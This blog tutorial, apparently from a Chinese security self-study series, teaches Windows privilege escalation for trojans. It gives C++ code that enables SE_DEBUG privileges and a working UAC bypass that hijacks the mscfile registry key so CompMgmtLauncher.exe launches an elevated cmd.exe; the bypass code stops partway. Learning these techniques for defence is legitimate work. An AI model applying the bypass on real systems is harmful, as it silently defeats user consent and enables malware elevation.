目录

网络安全自学篇

网络安全自学篇

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》,其作者是甘迪文老师,推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享,并且会进一步补充相关知识点。第六篇文章主要介绍木马病毒提权技术,包括进程访问令牌权限提升和Bypass UAC,希望对您有所帮助。

如果把权限看作是门禁卡,那么计算机便是一栋拥有许多门禁的大楼,要想进入一个房间或办公室,则需要拥有对应房间的门禁卡。对于低权限,即拥有很少数量的门禁卡,能去的也只有厕所之类的无关紧要的地方,无法进入层层设防的保密办公室。这样,即使病毒木马成功混入计算机这所大楼,如果没有足够的权限,也不能窃取或修改计算机中的关键数据,杀伤力有限。

因此,提权技术(从低权限获取高权限的技术)成为大多数病毒木马必备技术。

https://i-blog.csdnimg.cn/blog_migrate/1d55ccecec7cafef9c7cf6935557ee82.png#pic_center

计算机上有哪些操作需要提权呢?操作系统处于安全考虑,对不同的操作系统划分了权限。例如创建或修改系统服务、修改HKEY_LOCAL_MACHINE注册表键或重启移动文件等操作,均需要管理员权限,普通权限操作会失败。

同时,从VISTA系统引入了UAC(用户账户控制),涉及权限操作时都会有弹窗提示,只有用户点击确认后,方可继续操作。所以,VISTA之后的提权操作主要是针对UAC不弹窗静默提权,即Bypass UAC。

https://i-blog.csdnimg.cn/blog_migrate/c4ed39456f3e6e3e75fe522caf75ed4f.png#pic_center

文章目录

作者的github资源:

软件安全:

其他工具:

Windows-Hacker:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:

[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)

[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持

[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制

前文欣赏:


一.进程访问令牌权限提升

病毒木马想要实现一些关键的系统操作时,往往要求执行操作的进程拥有足够的权限。比如,通过调用ExitWindows函数实现关机或重启操作时,它就要求进程要有 SE_SHUTDOWN_NAME 权限,否则会忽视操作不执行。这时,程序能够做的便是按照要求提升进程群贤,第一部分通过介绍提升进程访问令牌的权限。

1.函数介绍

(1) OpenProcessToken函数

打开与进程关联的访问令牌。

<span style="color:#000000"><code class="language-c">BOOL <span style="color:#61aeee">OpenProcessToken</span><span style="color:#999999">(</span>
	HANDLE ProcessHandle<span style="color:#999999">,</span> <span style="color:#5c6370">//要修改访问权限的进程句柄</span>
	DWORD DesiredAccess<span style="color:#999999">,</span>  <span style="color:#5c6370">//访问掩码,要对令牌进行何种操作</span>
	PHANDLE TokenHandle   <span style="color:#5c6370">//返回的访问令牌指针</span>
<span style="color:#999999">)</span>;
</code></span>

(2) LookupPrivilegevalue函数

查看系统权限的特权值,返回信息到一个LUID结构体。

<span style="color:#000000"><code class="language-c">BOOL <span style="color:#61aeee">LookupPrivilegevalue</span><span style="color:#999999">(</span>
	LPCTSTR lpSystemName<span style="color:#999999">,</span>   <span style="color:#5c6370">//指向要获取特权值的系统名称</span>
	LPCTSTR lpName<span style="color:#999999">,</span>         <span style="color:#5c6370">//特权名称</span>
	PLUID lpLuid            <span style="color:#5c6370">//指向LUID变量的指针</span>
<span style="color:#999999">)</span><span style="color:#999999">;</span>
</code></span>

(3) AdjustTokenPrivileges函数

启用或禁用指定访问令牌中的权限,在访问令牌中启用或禁用权限时需要 TOKEN_ADJUST_PRIVILEGES 访问。

<span style="color:#000000"><code class="language-c">BOOL <span style="color:#61aeee">AdjustTokenPrivileges</span><span style="color:#999999">(</span>
	HANDLE TokenHandle<span style="color:#999999">,</span>         <span style="color:#5c6370">//handle to token</span>
	BOOL DisableAllPrivileges<span style="color:#999999">,</span>  <span style="color:#5c6370">//disabling option</span>
	PTOKEN_PRIVILEGES NewState<span style="color:#999999">,</span> <span style="color:#5c6370">//privilege information</span>
	DWORD BufferLength<span style="color:#999999">,</span>         <span style="color:#5c6370">//size of buffer</span>
	PTOKEN_PRIVILEGES PreviousState<span style="color:#999999">,</span> <span style="color:#5c6370">//original state buffer</span>
	PDWORD ReturnLength         <span style="color:#5c6370">//required buffer size</span>
<span style="color:#999999">)</span><span style="color:#999999">;</span>
</code></span>

其中,操作类型及特权属性Attributes可以是如下常量:

<span style="color:#000000"><code class="language-c">SE_PRIVILEGE_ENABLED            <span style="color:#5c6370">//使特权有效</span>
SE_PRIVILEGE_ENABLED_BY_DEFAULT <span style="color:#5c6370">//使特权默认有效</span>
SE_PRIVILEGE_REMOVED            <span style="color:#5c6370">//移除该特权</span>
SE_PRIVILEGE_USED_FOR_ACCESS    <span style="color:#5c6370">//取得对象或服务的访问权</span>
</code></span>

2.实现原理

(1) 使用场景

病毒木马想要实现一些关键的系统操作时,并且进程访问令牌权限提升的实现步骤较为固定。

(2) 实现流程

  • 打开进程访问令牌
  • 取得特权的LUID值
  • 调整访问令牌特权值

首先获取进程的访问令牌,然后将访问令牌的权限修改为指定权限。但是系统内部并不直接识别权限名称, 而是识别LUID值 ,所以需要根据权限名称获取对应的LUID值,之后传递给系统,实现进程访问令牌权限的修改。

(3) 实现步骤

  • 获取指定进程的访问令牌,需要获取权限的令牌句柄为 TOKEN_ADJUST_PRIVILEGES

    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

  • 获取本地系统指定特权名称的LUID值,LUID值相当于该特权的身份标号

    LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)

  • 创建一个新的进程令牌特权结构体 TOKEN_PRIVILEGES,并对其进行赋值,设置新特权的数量、特权对应的LUID值以及特权的属性状态

    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

  • 调用 AdjustTokenPrivileges 函数对进程令牌的特权进行修改

    AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)


3.编程实现

第一步,新建C++空项目,项目名称为“Tiquan01”。

https://i-blog.csdnimg.cn/blog_migrate/73159d912a95a1546cfa8741dcc7e4b4.png#pic_center

第二步,新建源文件“main.cpp”。

https://i-blog.csdnimg.cn/blog_migrate/9f703186c6fe174fe6b4661af13f95ef.png#pic_center

第三步,编写代码获取当前进程号。

<span style="color:#000000"><code class="language-c"><span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><windows.h></span></span>
<span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><string.h></span></span>
<span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><iostream></span></span>
using namespace std<span style="color:#999999">;</span>

<span style="color:#98c379">#<span style="color:#c678dd">ifdef</span> _WIN32</span>
<span style="color:#98c379">#<span style="color:#c678dd">include</span> <span style="color:#669900"><process.h></span></span>
<span style="color:#98c379">#<span style="color:#c678dd">else</span></span>
<span style="color:#98c379">#<span style="color:#c678dd">include</span> <span style="color:#669900"><unistd.h></span></span>
<span style="color:#98c379">#<span style="color:#c678dd">endif</span></span>

<span style="color:#5c6370">//主函数</span>
<span style="color:#c678dd">int</span> <span style="color:#61aeee">main</span><span style="color:#999999">(</span><span style="color:#c678dd">int</span> argc<span style="color:#999999">,</span> <span style="color:#c678dd">char</span><span style="color:#669900">*</span> argv<span style="color:#999999">[</span><span style="color:#999999">]</span><span style="color:#999999">)</span>
<span style="color:#999999">{</span>
<span style="color:#5c6370">//获取当前进程号</span>
<span style="color:#c678dd">int</span> iPid <span style="color:#669900">=</span> <span style="color:#999999">(</span><span style="color:#c678dd">int</span><span style="color:#999999">)</span><span style="color:#61aeee">_getpid</span><span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
std<span style="color:#999999">:</span><span style="color:#999999">:</span>cout <span style="color:#669900"><<</span> <span style="color:#669900">"The process id is: "</span> <span style="color:#669900"><<</span> iPid <span style="color:#669900"><<</span> std<span style="color:#999999">:</span><span style="color:#999999">:</span>endl<span style="color:#999999">;</span>
<span style="color:#61aeee">system</span><span style="color:#999999">(</span><span style="color:#669900">"PAUSE"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#c678dd">return</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
<span style="color:#999999">}</span>
</code></span>

输出结果如下图所示,可以看到我们的程序 Tiquan01.exe 进程为 18512。

https://i-blog.csdnimg.cn/blog_migrate/2138e59f1de63b88d4236f1901200fb2.png#pic_center

第四步,通过子函数实现进程访问令牌的提升权限。

<span style="color:#000000"><code class="language-python"><span style="color:#5c6370">#include<windows.h></span>
<span style="color:#5c6370">#include<string.h></span>
<span style="color:#5c6370">#include<iostream></span>
using namespace std<span style="color:#999999">;</span>

<span style="color:#5c6370">#ifdef _WIN32</span>
<span style="color:#5c6370">#include <process.h></span>
<span style="color:#5c6370">#else</span>
<span style="color:#5c6370">#include <unistd.h></span>
<span style="color:#5c6370">#endif</span>

<span style="color:#669900">//</span>显示错误信息
void ShowError<span style="color:#999999">(</span>char<span style="color:#669900">*</span> pszText<span style="color:#999999">)</span>
<span style="color:#999999">{</span>
char szErr<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span>wsprintf<span style="color:#999999">(</span>szErr<span style="color:#999999">,</span> <span style="color:#669900">"%s Error[%d]\n"</span><span style="color:#999999">,</span> pszText<span style="color:#999999">,</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>GetLastError<span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span>MessageBox<span style="color:#999999">(</span>NULL<span style="color:#999999">,</span> szErr<span style="color:#999999">,</span> <span style="color:#669900">"ERROR"</span><span style="color:#999999">,</span> MB_OK<span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#999999">}</span>

<span style="color:#669900">/</span><span style="color:#669900">_</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span>
函数名<span style="color:#999999">:</span> CPrivilgeEscalationDlg<span style="color:#999999">:</span><span style="color:#999999">:</span>EnableDebugPrivilege
返回类型<span style="color:#999999">:</span> BOOL
功能<span style="color:#999999">:</span> 提升进程访问令牌权限
参数<span style="color:#98c379">1</span><span style="color:#999999">:</span> 需要提升权限的进程句柄
参数<span style="color:#98c379">2</span><span style="color:#999999">:</span> 特权名称
<span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">-</span><span style="color:#669900">_</span><span style="color:#669900">/</span>
BOOL EnbalePrivileges<span style="color:#999999">(</span>HANDLE hProcess<span style="color:#999999">,</span> char<span style="color:#669900">*</span> pszPrivilegesName<span style="color:#999999">)</span>
<span style="color:#999999">{</span>
HANDLE hToken <span style="color:#669900">=</span> NULL<span style="color:#999999">;</span>
LUID luidValue <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
TOKEN_PRIVILEGES tokenPrivileges <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
BOOL bRet <span style="color:#669900">=</span> FALSE<span style="color:#999999">;</span>
DWORD dwRet <span style="color:#669900">=</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>

    <span style="color:#669900">//</span>打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
    bRet <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>OpenProcessToken<span style="color:#999999">(</span>hProcess<span style="color:#999999">,</span> TOKEN_ADJUST_PRIVILEGES<span style="color:#999999">,</span> <span style="color:#669900">&</span>hToken<span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#c678dd">if</span> <span style="color:#999999">(</span>FALSE <span style="color:#669900">==</span> bRet<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	ShowError<span style="color:#999999">(</span><span style="color:#669900">"OpenProcessToken"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    <span style="color:#669900">//</span>获取本地系统的 pszPrivilegesName 特权的LUID值
    bRet <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>LookupPrivilegeValue<span style="color:#999999">(</span>NULL<span style="color:#999999">,</span> pszPrivilegesName<span style="color:#999999">,</span> <span style="color:#669900">&</span>luidValue<span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#c678dd">if</span> <span style="color:#999999">(</span>FALSE <span style="color:#669900">==</span> bRet<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	ShowError<span style="color:#999999">(</span><span style="color:#669900">"LookupPrivilegeValue"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    <span style="color:#669900">//</span>设置提升权限信息
    tokenPrivileges<span style="color:#999999">.</span>PrivilegeCount <span style="color:#669900">=</span> <span style="color:#98c379">1</span><span style="color:#999999">;</span>
    tokenPrivileges<span style="color:#999999">.</span>Privileges<span style="color:#999999">[</span><span style="color:#98c379">0</span><span style="color:#999999">]</span><span style="color:#999999">.</span>Luid <span style="color:#669900">=</span> luidValue<span style="color:#999999">;</span>
    tokenPrivileges<span style="color:#999999">.</span>Privileges<span style="color:#999999">[</span><span style="color:#98c379">0</span><span style="color:#999999">]</span><span style="color:#999999">.</span>Attributes <span style="color:#669900">=</span> SE_PRIVILEGE_ENABLED<span style="color:#999999">;</span>

    <span style="color:#669900">//</span>提升进程令牌访问权限
    bRet <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>AdjustTokenPrivileges<span style="color:#999999">(</span>
    	hToken<span style="color:#999999">,</span>                  <span style="color:#669900">//</span>令牌句柄
    	FALSE<span style="color:#999999">,</span>                   <span style="color:#669900">//</span>是否禁用权限
    	<span style="color:#669900">&</span>tokenPrivileges<span style="color:#999999">,</span>        <span style="color:#669900">//</span>新的特权的权限信息
    	<span style="color:#98c379">0</span><span style="color:#999999">,</span>                       <span style="color:#669900">//</span>特权信息大小
    	NULL<span style="color:#999999">,</span>                    <span style="color:#669900">//</span>用来接收特权信息当前状态的<span style="color:#669900">buffer</span>
    	NULL                     <span style="color:#669900">//</span>缓冲区大小
    <span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#c678dd">if</span> <span style="color:#999999">(</span>FALSE <span style="color:#669900">==</span> bRet<span style="color:#999999">)</span> <span style="color:#999999">{</span>
    	ShowError<span style="color:#999999">(</span><span style="color:#669900">"AdjustTokenPrivileges"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    <span style="color:#c678dd">else</span> <span style="color:#999999">{</span>
    	<span style="color:#669900">//</span>根据错误码判断是否特权都设置成功
    	dwRet <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span>GetLastError<span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span>ERROR_SUCCESS <span style="color:#669900">==</span> dwRet<span style="color:#999999">)</span>
    	<span style="color:#999999">{</span>
    		<span style="color:#c678dd">return</span> TRUE<span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    	<span style="color:#c678dd">else</span> <span style="color:#c678dd">if</span> <span style="color:#999999">(</span>ERROR_NOT_ALL_ASSIGNED <span style="color:#669900">==</span> dwRet<span style="color:#999999">)</span>
    	<span style="color:#999999">{</span>
    		ShowError<span style="color:#999999">(</span><span style="color:#669900">"ERROR_NOT_ALL_ASSIGNED"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    		<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>
    <span style="color:#999999">}</span>

    <span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>

<span style="color:#999999">}</span>

<span style="color:#669900">//</span>主函数
<span style="color:#669900">int</span> main<span style="color:#999999">(</span><span style="color:#669900">int</span> argc<span style="color:#999999">,</span> char<span style="color:#669900">*</span> argv<span style="color:#999999">[</span><span style="color:#999999">]</span><span style="color:#999999">)</span>
<span style="color:#999999">{</span>
<span style="color:#669900">//</span>获取当前进程号
<span style="color:#669900">int</span> iPid <span style="color:#669900">=</span> <span style="color:#999999">(</span><span style="color:#669900">int</span><span style="color:#999999">)</span>_getpid<span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
std<span style="color:#999999">:</span><span style="color:#999999">:</span>cout <span style="color:#669900"><<</span> <span style="color:#669900">"The process id is: "</span> <span style="color:#669900"><<</span> iPid <span style="color:#669900"><<</span> std<span style="color:#999999">:</span><span style="color:#999999">:</span>endl<span style="color:#999999">;</span>

    <span style="color:#669900">//</span>修改当前进程令牌访问权限
    <span style="color:#c678dd">if</span> <span style="color:#999999">(</span>FALSE <span style="color:#669900">==</span> EnbalePrivileges<span style="color:#999999">(</span><span style="color:#999999">:</span><span style="color:#999999">:</span>GetCurrentProcess<span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">,</span> SE_DEBUG_NAME<span style="color:#999999">)</span><span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	printf<span style="color:#999999">(</span><span style="color:#669900">"Enable Privileges Error!\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    printf<span style="color:#999999">(</span><span style="color:#669900">"Enable Privileges OK!\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>

    system<span style="color:#999999">(</span><span style="color:#669900">"PAUSE"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#c678dd">return</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>

<span style="color:#999999">}</span>
</code></span>

运行结果如下图所示, 注意需要以管理员权限运行 ,否则会提示相关错误。

https://i-blog.csdnimg.cn/blog_migrate/2314ea260779fbafb34531d81599855d.png#pic_center

问题:怎么判断我是否提权成功呢?

同时,编程过程中会遇到各种错误,请大家一定实际去编写代码,学会谷歌百度独立解决。 比如"const char _“类型的实参与“LPCWSTR”类型的形参不兼容,基本的解决方法如下:

  • 配置属性 -> 常规 -> 字符集 -> 使用多字节字符集
  • C/C++ -> SDL 检查-> 否
  • C/C++ -> 语言 -> 符合模式 -> 否

https://i-blog.csdnimg.cn/blog_migrate/75ee3eccda319cb58212a93bce192a56.png#pic_center


二.Bypass UAC

UAC(User Account Control)是微软在 Windows VISTA 以后版本中引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员账户的安全上下文中运行,除非特别授予管理员级别的系统访问权限。UAC 可以阻止未授权的应用程序自动进行安装,并防止无意地更改系统。

https://i-blog.csdnimg.cn/blog_migrate/99fdb22bd3fd4df6ae01386e300a39f7.png#pic_center

UAC 需要授权的动作包括:配置 Windows Update、增加或删除用户账户、改变用户账户的类型、改变 UAC 设置、安装 ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到 Program Files 或 Windows 目录、查看其他用户文件夹等。

触发 UAC 时,系统会创建一个 consent.exe 进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程 cmdline 和进程路径通过 LPC 接口传递给 appinfo 的 RAiLuanchAdminProcess 函数。流程如下:

  • 该函数首选验证路径是否在白名单中
  • 接着将结果传递给 consent.exe 进程
  • 该进程验证请求进程的签名以及发起者的权限是否符合要求后,决定是否弹出 UAC 窗口让用户确认
  • UAC 窗口会创建新的安全桌面,屏蔽之前的界面,同时 UAC 窗口进程是系统权限进程,其他普通进程无法和其进行通信交互,用户确认后,调用 CreateProcessAsUser 函数以管理员身份启动请求的进程

病毒木马如果想要实现更多的权限操作,那么就不得不绕过 UAC 弹窗,在没有通知用户的情况下,静默地将程序的普通权限提升为管理员权限,从而使程序可以实现一些需要权限的操作。目前实现 Bypass UAC 主要有两种方法:

  • 一种是利用白名单提权机制
  • 一种是利用 COM 组件接口技术

1.基于白名单程序的 Bypass UAC

有些系统程序可以直接获取管理员权限,而不触发 UAC 弹框,这类程序成为白名单程序。例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe 等等。这些白名单程序可以通过 DLL 劫持、注入或是修改注册表执行命令的方式启动目标程序,实现 Bypass UAC 提权操作。

下面选择白名单程序 CompMgmtLauncher.exe 进行详细分析,利用它实现 Bypass UAC 提权。分析的环境是 64 位 Windows 10 操作系统,使用的工具是进程监控器 Procmon.exe。

第一步,在 System32 目录下运行 CompMgmtLauncher.exe 程序。

https://i-blog.csdnimg.cn/blog_migrate/a2d6fe15ca8c82d0d922b0be4c3d3f69.png#pic_center

此时并没有出现 UAC 弹窗就直接显示计算机管理的窗口界面。

https://i-blog.csdnimg.cn/blog_migrate/a01e717df22306ce9077589e370493ab.png#pic_center

第二步,使用 procmon 软件监控该进程的所有操作。

主要是监控注册表和文件的操作,设置进程名为 CompMgmtLauncher.exe 过滤即可。

https://i-blog.csdnimg.cn/blog_migrate/d274c3258f240946d8fba597326c39cf.png#pic_center

输出结果如下图所示:

https://i-blog.csdnimg.cn/blog_migrate/93932afd63a20bc50ca7fcf67230ed6f.png#pic_center

第三步,分析该进程注册表操作。

Procmon 监控数据分析发现,计算机管理进程会先查询注册表中数据。

  • HKCU\Software\Classes\mscfile\shell\open\command

发现该路径不存在后,继续查询注册表中的数据并读取。

  • HKCR\mscfile\shell\open\command(Default)

该注册表路径中存储着 mmc.exe 进程的路径信息,如下图所示。然后,计算机管理程序会根据读取到的路径启动程序,显示计算机管理的窗口界面。

疑惑:如何通过该软件定位进程的执行逻辑或操作流程?感觉不是 Procmon 就能实现的。

https://i-blog.csdnimg.cn/blog_migrate/b61326e448c2627b61205693059359b6.png#pic_center

注册表中内容对应如下:

  • %SystemRoot%\system32\mmc.exe “%1” %_

https://i-blog.csdnimg.cn/blog_migrate/f8ed4fa49770ddd57f143425276e8828.png#pic_center

第四步,手动构造注册表路径弹窗 cmd 命令行程序。

在 CompMgmtLauncher.exe 启动的过程中,有一个关键的操作就是它会先读取注册表的数据。

  • HKCU\Software\Classes\mscfile\shell\open\command

我们开系统注册表编辑器 regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe 便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为 C:\Windows\System32\cmd.exe。

https://i-blog.csdnimg.cn/blog_migrate/b97d979477609a12f4ce6aa0e4a986b5.png#pic_center

注册表修改如下:

https://i-blog.csdnimg.cn/blog_migrate/f3800cb399fa09265dbb3c662a3fc659.png#pic_center

然后使用 Procmon.exe 进行监控并运行 CompMgmtLauncher.exe,成功弹出 cmd.exe 命令行窗口,而且提示管理员权限,如下图所示,注意左上角显示的是“计算机管理”而不再是“CMD”。

https://i-blog.csdnimg.cn/blog_migrate/c356f31a949732c4bf07c8d165b8eeaf.png#pic_center

查看 Procmon.exe 的监控数据,CompMgmtLauncher.exe 确实直接读取注册表路径中的数据并启动。

第五步,编写代码实现相关功能。

利用 CompMgmtLauncher.exe 白名单程序 Bypass UAC 提权的原理讲到这里,接下来编写程序创建并添加注册表,并写入自定义的程序路径。

  • HKCU\Software\Classes\mscfile\shell\open\command(Default)

具体 Bypass UAC 代码如下,运行计算机管理程序即可完成 Bypass UAC 提权操作。其中,HKEY_CURRENT_USER 是用户注册表,程序使用普通权限即可进行修改。

Tiquan02 完整代码

<span style="color:#000000"><code class="language-c"><span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><windows.h></span></span>
<span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><string.h></span></span>
<span style="color:#98c379">#<span style="color:#c678dd">include</span><span style="color:#669900"><iostream></span></span>
using namespace std<span style="color:#999999">;</span>

<span style="color:#5c6370">//显示错误信息</span>
<span style="color:#c678dd">void</span> <span style="color:#61aeee">ShowError</span><span style="color:#999999">(</span><span style="color:#c678dd">char</span><span style="color:#669900">*</span> pszText<span style="color:#999999">)</span>
<span style="color:#999999">{</span>
<span style="color:#c678dd">char</span> szErr<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">wsprintf</span><span style="color:#999999">(</span>szErr<span style="color:#999999">,</span> <span style="color:#669900">"%s Error[%d]\n"</span><span style="color:#999999">,</span> pszText<span style="color:#999999">,</span> <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">GetLastError</span><span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#98c379">#<span style="color:#c678dd">ifdef</span> _DEBUG</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">MessageBox</span><span style="color:#999999">(</span><span style="color:#98c379">NULL</span><span style="color:#999999">,</span> szErr<span style="color:#999999">,</span> <span style="color:#669900">"ERROR"</span><span style="color:#999999">,</span> MB_OK <span style="color:#669900">|</span> MB_ICONERROR<span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#98c379">#<span style="color:#c678dd">endif</span></span>
<span style="color:#999999">}</span>

<span style="color:#5c6370">//修改注册表</span>
BOOL <span style="color:#61aeee">SetReg</span><span style="color:#999999">(</span><span style="color:#c678dd">char</span><span style="color:#669900">*</span> lpszExePath<span style="color:#999999">)</span>
<span style="color:#999999">{</span>
HKEY hKey <span style="color:#669900">=</span> <span style="color:#98c379">NULL</span><span style="color:#999999">;</span>
<span style="color:#5c6370">//创建项</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">RegCreateKeyEx</span><span style="color:#999999">(</span>HKEY_CURRENT_USER<span style="color:#999999">,</span>
